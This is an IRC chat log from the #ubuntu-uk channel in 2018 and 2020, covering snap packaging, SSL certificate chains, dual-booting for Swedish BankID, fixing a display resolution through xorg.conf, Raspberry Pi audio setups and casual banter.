<diddledan> ali1234: it doesn't download ubuntu core - it downloads a "base snap" which is called "core" due to legacy reasons. There's no limitation that requires your snap be based on ubuntu
<diddledan> for example, linux-steam-integration actually uses a base snap of the solus distribution
<ali1234> true
<ali1234> but each snap only works with exactly one platform snap
<diddledan> there's no reason to make it work with a different platform snap
<diddledan> the platform snap is merely an implementation detail. the user doesn't care
<diddledan> the packager can use whichever platform they prefer, and the user gets a working snap whatever the packager chose
<ali1234> so how many platforms are available?
<diddledan> right now, one, if you exclude the solus used for linux-steam-integration because that's specialised for the steam snap. the reason there aren't more is because nobody has stepped-up from those other distributions to make theirs
<ali1234> i asked about making a raspbian base snap about 2 years ago but they told me it wasn't possible yet
<ali1234> linux-steam-integration isn't in the snap store
<diddledan> yes it is
<diddledan> it's in edge channel right now though
<diddledan> the base snap is called solus-runtime-gaming, again it's in edge right now
<SuperMatt> I'd be inerested to know if full desktop environments can be snapped. It'd be nice to be on 18.04, but keep my gnome up to date with snaps
<ali1234> if it's classic mode i don't see why not
<SuperMatt> +++
<ali1234> hmm looks like youtube have messed up and demonetized everyone and also broken their platform at the same time
<zmoylan-pi> what are people going to do? move to a different platform? :-P
<ali1234> hopefully all the "vloggers" will take their clickbait rubbish elsewhere
<penguin42> the problem is the tabloids hounded the advertisers about getting shown on any video that didn't quite match the tabloids view of good
<penguin42> interesting, I've got a bank that fails a symantec cert on both fedora and ubuntu live CDs but works on both fedora and ubuntu systems I hav einstalled
<ging> penguin42: there was a weird issue with chromium-browser a while back that was something along the lines that if the build was more than 30 days old, it stopped trusting symantec
<ging> https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1641380
<lubotu3> Ubuntu bug 1641380 in chromium-browser (Ubuntu) "chromium-browser: ERR_CERTIFICATE_TRANSPARENCY_REQUIRED for Symantec certs" [Critical,Fix released]
<ali1234> since being forced to implement ssl everywhere i've found it can be pretty weird
<ali1234> like i had two servers... one worked fine, the other gave an untrusted certificate error
<ali1234> but they both used the same certificate
<ali1234> it turns out you have to also supply the trust chain bundle because not every browser has it
<ali1234> and the CAs like to split themselves up into loads of different organizations
<penguin42> ging: Ah thanks!
<penguin42> ging: It was that cert
<foobarry> guys, i need bday present ideas
<penguin42> chocolate
<foobarry> i'm struggling right now to think of anything
<foobarry> i got chocolate for valentines day
<penguin42> more chocolate?
<ging> a dragon
<penguin42> foobarry: Cake?
<foobarry> hmm
<foobarry> i've already had a tux cake. can't really beat that
 * penguin42 gulps - which bit did you eat first?
<foobarry> https://www.flickr.com/photos/7719963@N06/5330687272
<foobarry> had already started to melt/blend by the time i took a photo
<penguin42> foobarry: It's disturbing that the previous picture is an actual penguin
<foobarry> :o
<foobarry> didn't notice
<diddledan> the rock man in thor ragnarock with the south african accent is awesome hilarious
#ubuntu-uk 2018-02-22
<SuperMatt> sudo apt update
<SuperMatt> ahahha
<sailorsara> hej i need help installing ubuntu. i need to figure out if it will work with my system https://pastebin.com/cXh71cKi here is my lspci  output and the output from my  fdisk https://pastebin.com/sbRgxMe3 . i am currently using a live usb drive. its a sony vaio  model number vpcs11x9e from 2007  it has 5637 as the first value when i use free -m i NEED TO HAVE ACCESS TO WINDOWS. my bank login does not support linu and the govrnment l
<sailorsara> system requires it too.
<brobostigon> morning boys and girls.
<sailorsara> brobostigon: im not
<brobostigon> not a boy or a girl?
<SuperMatt> not in mourning?
<Nafallo> morning
<sailorsara> brobostigon: (09:21:45) brobostigon: not a boy or a girl?
<brobostigon> yep, i did say that.
<sailorsara> that was what i meant
<sailorsara> im neither
<sailorsara> hej i need help installing ubuntu. i need to figure out if it will work with my system https://pastebin.com/cXh71cKi here is my lspci  output and the output from my  fdisk https://pastebin.com/sbRgxMe3 . i am currently using a live usb drive. its a sony vaio  model number vpcs11x9e from 2007  it has 5637 as the first value when i use free -m i NEED TO HAVE ACCESS TO WINDOWS. my bank login does not support linu and the govrnment l
<sailorsara> system requires it too.
<sailorsara> or if theres a swede here can i run bankid on a vm_
<Nafallo> if you're currently running it off the usb stick, would you not know if it works? :-)
<Nafallo> sailorsara: well, us Swedes generally hang out in #ubuntu-se
<sailorsara> i mean how to image the hdd so i have a iso of the drive_
<Nafallo> I'm here because I used to live in London and got an extra community too boost ;-)
<brobostigon> ah i see, got you, sorry, sailorsara
<sailorsara> Nafallo: lol no. they are everywhere
<Nafallo> ...
<Nafallo> right. let me re-phrase that then.
<sailorsara> i can then use that iso as a virtual machine or to reinstall a legal copy of windows
<sailorsara> im from the uk
<sailorsara> but i live in sweden
<sailorsara> they want swedish speakers only there
<Nafallo> when you ask for help about stuff only existing in a specific country, you may have better luck asking in that countries community channel.
<sailorsara> !languages
<Nafallo> sure, but if you explain your circumstances I'm sure we'll be fine with it ;-)
 * brobostigon hangs out in #ubuntu-cym, to practice his welsh, but its pretty quiet these days.
<sailorsara> ok so, sweden and a number of baltic countries such as for example estonia MUST MUST MUST be able to use a security programme called bank id
<sailorsara> we cant use it on linux
<Nafallo> sailorsara: you have a requirement for bankid on your PC rather than mobile bankid?
<sailorsara> BankID have 7,5 million active users. Many services are provided where citizens can use their BankID for digital identification as well as signing transactions and documents. The services vary from online and mobile banking, e-trade to tax declaration and are provided by government, municipality, banks and companies. BankID is used both for identification as well as signing. According to Swedish law, and within the European Union
<sailorsara> kID is an advanced signature and a signature made with a BankID is legally binding. The customerâs identification is guaranteed by the bank issuing the BankID. Authorities, companies and other organizations must check the validity of the customerâs identity and signature. BankID is available on smart card, soft certificate as well as mobile phones, iPads and other tablet devices.
<sailorsara> i cant transfer 300,000gbp without a cable connected
<sailorsara> i need that
<Nafallo> sailorsara: sorry, but explaining what it is to a country that doesn't need it is sort of not helpful ;-)
<sailorsara> i mean its a small sum of money which is silly
<sailorsara> Nafallo: no. 1 million swedes live in the uk
<Nafallo> so!?
<sailorsara> and i am sure they still use banid for savngs and stuff
<Nafallo> I didn't
<Seeker`> is this disucssion at all productive in its current form?
<Nafallo> I had UK banking when I lived in the UK.
<Nafallo> no, I don't think so :-)
<sailorsara> well think is i need bankid on my pc
<sailorsara> how can we make it happen_
<sailorsara> aghhhhh my keyboard is set out in austrian
 * Nafallo steps back from this conversation and go back to working :-)
<Seeker`> only suggestion I've got is "try WINE"
<zmoylan-pi> very reminiscent of south koreas dependence on activex back in the day for transactions...
<Nafallo> zmoylan-pi: I think this was java...
<Nafallo> with a lot of dependencies to make sure the computer is "secure enough"
<Nafallo> checking settings and stuff.
<Nafallo> so no support for linux officially makes it very very difficult.
<zmoylan-pi> remembers that one of the first irish banking apps in java looked for files specifically in c:\windows which really helped... :-/
<SuperMatt> geez
<SuperMatt> That's nuts
<SuperMatt> That's the kind of thing which stops people moving off windows xp
<Nafallo> SuperMatt: except the official statement of the agency responsible is to use mobile bankid, not file based certificates on your computer.
<zmoylan-pi> annoyed a few mac users back then too... :-)
<zmoylan-pi> so not all bad :-D
<Nafallo> you're allowed up to five devices as well, so that helps :-)
<Nafallo> I've got it with different auth on 2 tablets and 3 phones ;-)
<Nafallo> as long as you've got at least one working, there's no problem to add another :-)
<foobarry> https://github.com/npm/npm/issues/19883 wowzers
<foobarry> "This destroyed 3 production server after a single deploy!"
<SuperMatt> What a bug!
<SuperMatt> I've never really liked node and npm
<SuperMatt> I remember my first job as a sys-ad when people were first talking using node on servers
<SuperMatt> I basically said no because the stuff they were writing could simply get out of control, use too much memory, and bring the server down
<zmoylan-pi> we live in a world were people use slack for im gobbling ram likes it's free...
<SuperMatt> It's not slack, it's electron which is the problem
<SuperMatt> but memory on servers is different to memory on desktops
<SuperMatt> a server is generally a single task device, so you want to be using memory in a way that gives you space to burst, but not using so little that 99% of the time you're wasting money
<SuperMatt> but a desktop can be asked to multitask at any moment
<ali1234> npm lol
<diddledan> SPAAAACE http://www.spacex.com/webcast
<SuperMatt> MOAR SPACE?
<penguin42> meh, small rocket
<SuperMatt> still, the amount of spacexing happening now is very heartwarming
<zmoylan-pi> all body warming if you get too close...
<SuperMatt> nothing like immolation by space rocket
 * penguin42 bastes SuperMatt
<SuperMatt> ooohhh greasy
<foobarry> does anyone have a bed table for laptop/tablet?
<zmoylan-pi> i made my own out of a piece of plywood...
<zmoylan-pi> more for using netbook on lap as it's too small to fit comfortably on my lap...
<SuperMatt> I've got this: https://www.geek.com/gadgets/logitech-unveils-the-comfort-lapdesk-laptop-stand-642012/
<foobarry> fancy
<zmoylan-pi> mine folds in half and wraps around the netbook when it's in my bag to add extra protection...
<foobarry> there seem to be a lot of bamboo ones
<foobarry> https://www.amazon.co.uk/Zipom-Portable-Bamboo-Foldable-Notebook/dp/B01M68E330
<sara_> hey
<sara_> hdd is 289gb. freespace is 193gb
<sara_> max partition for ubuntu?
<SuperMatt> I always have different partitions for / and /home
<SuperMatt> but that's just me
<SuperMatt> I normally give about 20G to /, and the rest for /home
<sara_> im sorry i mean max partition i can resiye windows to make space for ubuntu - i asked a stupid question
<SuperMatt> Oh, well you don't need much space for Ubuntu. Like I said, I use 20G for /, and then the rest for /home. I would say use another 20G for home, and you'll feel very comfortable in Ubuntu
<SuperMatt> that's about 40G in total
#ubuntu-uk 2018-02-23
<SuperMatt> morning all
<SuperMatt> very quiet in here
 * Nafallo drops a needle
<brobostigon> morning boys and girls.
<Nafallo> morning brobostigon
<brobostigon> morning Nafallo
 * zmoylan-pi steps on a needle *AAAAAAAARRRRRRRRGH*
 * brobostigon hands zmoylan-pi a plaster.
 * zmoylan-pi rubs foot and thanks brobostigon 
<brobostigon> yw.
<brobostigon> any idea why i am getitng that error? https://pastebin.com/Z4chckDJ
<zmoylan-pi> --image=kate... ?
<zmoylan-pi> or i suspect the spaces in the name are causing barfage...
<zmoylan-pi> meanwhile some music... https://www.youtube.com/watch?v=iMUezhpuEoE
<brobostigon> zmoylan-pi: its a picture of my fiance i am testing it with.
<zmoylan-pi> i mean try it with an equal sign before kate/ ...
<brobostigon> aws rekognition detect-labels --image = kate.jpg
<brobostigon> like that?
<zmoylan-pi> or even --image=kate.jpg
<brobostigon> ok, moment.
<brobostigon> aws rekognition detect-labels --image=kate.jpg
<brobostigon> Error parsing parameter '--image': Expected: '=', received: 'EOF' for input:
<brobostigon> kate.jpg
<diddledan> zmoylan-pi: that music is epic amazeballs
<zmoylan-pi> it's good, innit... :-)
<diddledan> must watch that again
<diddledan> so glad that Sky picked it up and funded the completion of the storyline
<zmoylan-pi> i didn't get on with bsg... i liked the 70s series, i loved ron moores work in ds9 and voyager... but bsg left me... meh.... for reasons unknown...
<diddledan> 'course it suffered with the whole writers' strike thing
<daftykins> \o
<diddledan> o/
<daftykins> how are we diddling today sir?
<diddledan> not bad ta
<daftykins> vewy gewd
#ubuntu-uk 2018-02-24
<brobostigon> morning boys and girls.
<zmoylan-pi> o/
<brobostigon> o/
<zmoylan-pi> tis quiet this morning... if all goes well i'll head to town and buy a rasp pi3...
<brobostigon> D&d here this afternoon, i am the dm. :)
<zmoylan-pi> 3 letters... t p k :-D
<zmoylan-pi> go in with the right attitude :-P
<brobostigon> :)
<zmoylan-pi> have a few spare character sheets ready 'just in case there's a tpk' that'll cheer them up...
<brobostigon> i have three, a skald(bard), a warpriest(a cleric) and a magus(a wizard).
<iKKA_masala> Saturdat shower thought - Can someone PLEASE pull all the uk pylons down for me health ? https://youtu.be/vUdcT-if0vo?t=28m53s
<ali1234> anyone on 17.10: is ~/.local/bin/ in your PATH?
<ali1234> hmm i think it's been there for ages
<ali1234> just that my .profile has not been recreated from the skeleton for ages
<penguin42> ali1234: Not on 17.10 xfce; /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
<ali1234> upgrade? kept home?
<ali1234> because it's in /etc/skel/.profile now
<ali1234> from at least 16.04
<penguin42> upgraded over a long time
<markie^^> hey hey!
<markie^^> nice to see you peeps are still around!
<foobarry> zmoylan-pi: maplins? i heard they were in trouble
<zmoylan-pi> yeah, maplins are the only ones who seem to have them in stock in dublin
<zmoylan-pi> didn't grab one today.  picked it up and decided i need a hdmi monitor/tv first...
<penguin42> what you after?
<zmoylan-pi> i really should get a monitor.... but a tv might be more handy... undecided...
<penguin42> what's the difference these days?
<zmoylan-pi> dpi when screen is very close i suspect
<zmoylan-pi> then again, i've never had a non crt tv... my last one died 10ish years ago...
<penguin42> I got rid of my 32" CRT in august '16
<penguin42> got a cheap 42" LCD that I just run off a PVR
<zmoylan-pi> my last tv was a 14" portable.... :-)
<zmoylan-pi> it's hard finding a monitor tv that size...
<penguin42> I hear you can get them with computers and battery attached
<zmoylan-pi> i have thought of that but then how do i attach my pi to the display...
<penguin42> yeh, you'd think they'd have hdmi in but I don't think any do
<zmoylan-pi> i have seen 1-2 weird super expensive ones that can
#ubuntu-uk 2018-02-25
<brobostigon> morning boys and girls.
<SuperEngineer> o/
<brobostigon> o/
<brobostigon> http://paizo.com/pathfinderRPG/prd/bestiary/animatedObject.html#animated-object remember the weeping angels from dr who?
<zmoylan-pi> remember firefox os... seems to still be around in a fashion... https://arstechnica.com/gadgets/2018/02/nokias-latest-nostalgia-bait-feature-phone-is-the-8110-banana-phone/
<daftykins> bananaphone!
<zmoylan-pi> you'll have to add the crazy frog ringtone to annoy public transport users... :-P https://www.youtube.com/watch?v=p2uf1mNfzNI
<daftykins> how inhumane :(
<zmoylan-pi> i have to get my money back that i invested in noise cancelling headphones some way!!! :-P
#ubuntu-uk 2020-02-17
<brobostigon> morning
<zxmoypi> o/
<Laney> _O_
<brobostigon> \o/
<gargoyle> *\o/*
<zxmoypi> =^..^=
<daftykins> morning gang
<brobostigon> morning
<daftykins> https://www.theregister.co.uk/2020/02/17/who_me/ not a bad one today
<gargoyle> He he... Well I shall not be casting any stones. I remember exactly where I was when I discovered that oracle db version of MySQL's LOAD DATA IN FILE replaces the contents of the target table and does not append to it!
<daftykins> :D
<zxmoypi> it's the little differences.... /geek pulp fiction
<zxmoypi> grrrr, i changed the res on a new system to rez the monitor can't handle and now i can't set it back...
<daftykins> Pi or something else?
<zxmoypi> xubuntu on a new hp mini desktop. an ancient vga monitor is all i have
<zxmoypi> i can boot up and access disk via usb with generic install of xubuntu. thought i could delete a monitors.xml file as suggested online but no sign of it
<daftykins> remind me to gift you the next free monitor i encounter :)
<zxmoypi> i suspect i'll just get a cheapy one from argos. i kinda keep meaning to anyway. just annoying is all. i could wipe it and start again but the 300gb of files tranferred on would need to be done again :-)
<zxmoypi> used to be when you changed rez it would autochange back after 30 seconds if you didn't say it worked ok. handy feature that :-)
<daftykins> do you have SSH enabled?
<zxmoypi> i didn't enable it
<zxmoypi> hadn't gotten that far yet
<daftykins> doh
<zxmoypi> yeah
<zxmoypi> i could just make it to argos before they shut if i limped off now... :-)
<zxmoypi> o/
<daftykins> good luck!
<zxmoypi> huzzah, a little ctrl-alt-f1; a smidge of X :1 -configure ; and a final sudo cp xorg.conf.new to right location seems to have swung it :-)
<daftykins> :D
<zxmoypi> scribbles not in vim log for future prevention of wailing and gnashing of teeth :-)
<daftykins> are you sporting a super shiny display with modern digital inputs and go-faster stripes now, then?
<zxmoypi> nah, being a cheap sod i decided to wait and see if i could find a cheap hdmi monitor in charity shop in town that sells recycled pcs on friday when i will be nearby
<zxmoypi> if that had of failed i would have tried a new monitor but only perhaps after trying to install a second xubuntu install and move data from wonky install to good install and then remove wonky install
<daftykins> ah poking around from a live session would've been easy peasy!
<zxmoypi> that's why i was trying the usb drive with live xubuntu i installed from to see if i could find the wonkiness
<zxmoypi> of course searching online found many ways for different ?ubuntus and different versions.
<zxmoypi> still easier than the time i got an out of memory message on excel in windows 3.1 days :-)
<daftykins> yeah results are always from so long in the past that the wheel has been reinvented many times over
<zxmoypi> and the names of all the major players have changed. just flip the mode access standby button.... the wha.....? the off switch! :-)
#ubuntu-uk 2020-02-18
<brobostigon> morning
<zxmoypi> o/
<brobostigon> \o
<Gargoyle> o//
<Gargoyle> Are you allowed to still be in here if you have switched to using Arch? Asking for a friend! ;-)
<MattJ> Gargoyle, you are, but the CoC says we're allowed to make fun of you every time you pacman -Su and something breaks
<MattJ> or at least it may, my memory is fuzzy
<MattJ> s/you/&r friend/
<Gargoyle> ha ha. Yes, apparently that's bad. The rule of thumb is to always do -Syu. so I might make make an alias... err, I mean tell my friend to make an alias!
<zxmoypi> and gentoo users? :-P
<MattJ> zxmoypi, I have a perfect witty response to that which I'll deliver once it's finished compiling
 * zxmoypi sips tea with choccie biccie and waits patiently...
<brobostigon> :)
#ubuntu-uk 2020-02-19
<brobostigon> morning
<knightwise> MOrning
<brobostigon> morning
<knightwise> hey bro
<brobostigon> hi knightwise
<zxmoypi> o/
<brobostigon> o/
<Gargoyle> Mornin'
<brobostigon> \o
<daftykins> o/
<zxmoypi> o/
<brobostigon> \o
#ubuntu-uk 2020-02-20
<brobostigon> morning
<Gargoyle> mornin' brobostigon
<brobostigon> morning Gargoyle
<zxmoypi> o/
<brobostigon> \o
<daftykins> \o/
#ubuntu-uk 2020-02-21
<brobostigon> morning
<zxmoypi> o/
<brobostigon> \o/
<Oli> Does anybody know of a Rasberry-pi shaped SOC-style thingme that also has a built-in amplifier? I'm aware of the hat options for real Raspis, just looking to see if there are alternatives.
<daftykins> Oli: what to do?
<zxmoypi> there are 'better' pi clones out there with a lot of extra hardware on them. but i'd stick with the pi community as it's just so much bigger and far more stable
 * zxmoypi is slightly biased of course :-)
<daftykins> never! :)
<daftykins> ooh another laptop has bitten the dust thanks to the butterfingers of a client
<daftykins> well, not dead yet - https://imgur.com/a/2FwIYF7 dead hinge on a Dell XPS 13 9350
<zxmoypi> dead hinge.... did they use it as a bottle opener or something? :-P
<daftykins> seems like! she took the whole week to ask me about it, heh - off in Spain with a backup machine i think at present
 * zxmoypi bets a euro sunscreen or alcohol damage on that one when it's get back :-P
<zxmoypi> or sand or water in the keyboard
<daftykins> hehe
<daftykins> oh nice, she says the child knocked it off the bed
<zxmoypi> ie. she did
<daftykins> xD
<brobostigon> thats like saying, my dog eat my homework.
<zxmoypi> and your point is? :-P
<zxmoypi> the excuses i have heard over the years for failing hardware....
<zxmoypi> the dot matrix printer that had every wire, cable, resisitor cut with a diagonal snips 'just stopped'
<brobostigon> lol.
<daftykins> :D
<zxmoypi> it was a point of sales system for a video shop and every transaction was recorded on paper. made it hard to pocket all the rental fees so the printer had to 'taken out'
<Gargoyle> dead??? that's not dead!! Stick some gaffer tape on it and give it back! ;-)
<zxmoypi> the engineer who installed ram by shoving it through gap under floppy disk drive...
<brobostigon> ouch.
<zxmoypi> when i opened i found the ram sitting on the motherboard after they brought the pc to me. i put it in slot and it worked. bit of a miracle that one
<brobostigon> i bet.
<zxmoypi> they of course wanted me to fix it if the ram failed at some point in the future.
<daftykins> yeah, it's your fault now ;D
<zxmoypi> remember that parallel cable you sold them in 1992? that's why their internet is down now!!
<daftykins> i knew it was the wrong colour!
<daftykins> ;)
<zxmoypi> you ordered battleship grey but they only had morning mist gray. you did sign for it
<Oli> daftykins to act as networked speakers in a network of Logitech Squeezeboxes. I already running a Raspi3 into a cheap external amp but it all seems a bit much.
<Oli> "Stuff to leave running 24/7", not expense. It's cheap kit.
<daftykins> Oli: amusingly i have exactly the same thing! i use picoreplayer on a 3B connected to my lounge AV receiver
<daftykins> i just pipe HDMI audio though
<daftykins> still rocking a classic squeezebox v3 i think it is, but sadly lost the remote the other day to leaky batteries... hoping i can restore it with some conductive ink but haven't found the time to try yet
<Oli> We have a Boom, a Radio, a Classic3 a couple of Duet Recievers and a couple of pis.
<daftykins> :D
<Oli> It's sad that it's still about the best you can do without spending megabucks
<Oli> Sad for progression, it's still awesome
<daftykins> i have a nice 5 Pi setup in a client's home as i am quite against all that Sonos crap, unfortunately his wife discovered Spotify the other day and they've now been abandoned practically
<Oli> Not currently a Spotify user but we used to play Spotify through the SB
<daftykins> i know it's do-able but they have network AV receivers so it's easier to cut out the middle man
<daftykins> anywho i'd stick to the Pi and go for the addon boards probably, but i'd rather have an amp between
#ubuntu-uk 2020-02-22
<brobostigon> morning
<zxmoypi> o/
<brobostigon> \o/
<daftykins> \o
<penguin42> o/
#ubuntu-uk 2020-02-23
<brobostigon> morning
<zxmoypi> o/
<brobostigon> \o
 * brobostigon is watching the It crowd and spots an ubuntu sticker, :)
<zxmoypi> what release? :-)
<brobostigon> umm, good question, :)
<brobostigon> in the 9.* or 10.* range i reckon.
